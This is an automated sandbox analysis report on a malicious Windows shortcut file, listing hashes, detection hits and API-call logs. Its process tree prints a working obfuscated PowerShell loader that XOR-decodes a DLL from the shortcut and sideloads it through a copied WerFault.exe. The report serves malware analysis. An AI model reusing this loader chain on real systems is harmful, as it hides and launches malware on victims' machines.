Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Aug. 20, 2024, 12:27 p.m.	Aug. 20, 2024, 12:29 p.m.

Size	274.4KB
Type	MS Windows shortcut, Has Description string, Has command line arguments, Icon number=13, ctime=Sun Dec 31 15:32:08 1600, mtime=Sun Dec 31 15:32:08 1600, atime=Sun Dec 31 15:32:08 1600, length=0, window=hidenormalshowminimized
MD5	`e0c3282206b5533bb3272741212cb6e1`
SHA256	`ac7772803e0f65522f43357cb31b0b032eebdaff35b1a5c1666a9d8b1a36784f`
CRC32	`A3AAC4F2`
ssdeep	`6144:Qe5Q7mm4ndGoQiVEMpjXoW3bDl+DrRF4GSK5MxYrO/3kAJg:Qe5Q7f4ndRtVEMpjRDQXDS56rY9Jg`
Yara	lnk_file_format - Microsoft Windows Shortcut File Format Lnk_Format_Zero - LNK Format Generic_Malware_Zero - Generic Malware

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "IZFDLWw" C:\Users\test22\AppData\Local\Temp\e0c3282206b5533bb3272741212cb6e1.lnk
2548
- cmd.exe "C:\Windows\system32\cmd.exe" /c copy C:\Windows\system32\WerFault.exe C:\Users\test22\AppData\Local\Temp\WerFault.exe && powershell -windowstyle hidden $0dda91a21b6f6536715eb83f21c75451 = G''et-Chil''dItem *.lnk ^| where-object {$_.length -eq 0x000449C8} ^| S''elect-Objec''t -ExpandProperty Name; $bdf6730d5c52821e237a7ceb47d8838d = gc $0dda91a21b6f6536715eb83f21c75451 -Encoding Byte; for($i=0; $i -lt $bdf6730d5c52821e237a7ceb47d8838d.count; $i++) { $bdf6730d5c52821e237a7ceb47d8838d[$i] = $bdf6730d5c52821e237a7ceb47d8838d[$i] -bxor 0x71 }; $e248d8a354f7be26afe13b86a3325e35 = 'C:\Users\test22\AppData\Local\Temp\faultrep.dll'; sc $e248d8a354f7be26afe13b86a3325e35 ([byte[]]($bdf6730d5c52821e237a7ceb47d8838d ^| select -Skip 012858)) -Encoding Byte; ^& C:\Users\test22\AppData\Local\Temp\WerFault.exe;
  2660
  - powershell.exe powershell -windowstyle hidden $0dda91a21b6f6536715eb83f21c75451 = G''et-Chil''dItem *.lnk | where-object {$_.length -eq 0x000449C8} | S''elect-Objec''t -ExpandProperty Name; $bdf6730d5c52821e237a7ceb47d8838d = gc $0dda91a21b6f6536715eb83f21c75451 -Encoding Byte; for($i=0; $i -lt $bdf6730d5c52821e237a7ceb47d8838d.count; $i++) { $bdf6730d5c52821e237a7ceb47d8838d[$i] = $bdf6730d5c52821e237a7ceb47d8838d[$i] -bxor 0x71 }; $e248d8a354f7be26afe13b86a3325e35 = 'C:\Users\test22\AppData\Local\Temp\faultrep.dll'; sc $e248d8a354f7be26afe13b86a3325e35 ([byte[]]($bdf6730d5c52821e237a7ceb47d8838d | select -Skip 012858)) -Encoding Byte; & C:\Users\test22\AppData\Local\Temp\WerFault.exe;
    2756
    - WerFault.exe "C:\Users\test22\AppData\Local\Temp\WerFault.exe"
      2940

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (6 events)

Time & API	Arguments	Status	Return
GetComputerNameW Aug. 20, 2024, 12:27 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2024, 12:27 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2024, 12:27 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2024, 12:27 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 20, 2024, 12:27 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 20, 2024, 12:27 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Aug. 20, 2024, 12:27 p.m.			0	0

Command line console output was observed (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW Aug. 20, 2024, 12:27 p.m.	buffer: 1 file(s) copied. console_handle: 0x00000007	1	1	0

Uses Windows APIs to generate a cryptographic key (45 events)

Time & API	Arguments	Status	Return
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a93a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9928 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9928 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9928 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9b28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9b28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9b28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9b28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9b28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9b28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9928 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9928 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9928 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a8f68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9928 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9928 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9928 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9928 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9928 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9928 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9928 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9ca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9ca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9ca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9ca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9ca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9ca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9ca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9ca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9ca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9ca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9ca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9ca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9ca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9ca8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9be8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9be8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9be8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9be8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9be8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9be8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 20, 2024, 12:27 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002a9be8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 20, 2024, 12:27 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 135 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02770000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02780000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72891000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0226a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72892000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02262000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02781000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02782000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0271a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026f3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026f4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0272b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02727000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0226b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02712000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02725000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026f5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0271c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ba0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026f6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0272c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02713000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02714000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02715000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02716000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02717000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02718000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02719000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05030000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05031000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05032000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05033000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05034000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05035000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05036000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05037000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05038000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05039000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0503f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05040000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05041000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05042000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05043000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 20, 2024, 12:27 p.m.	process_identifier: 2756 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05044000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\faultrep.dll

Creates a shortcut to an executable file (2 events)

file	C:\Users\test22\AppData\Local\Temp\e0c3282206b5533bb3272741212cb6e1.lnk
file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline

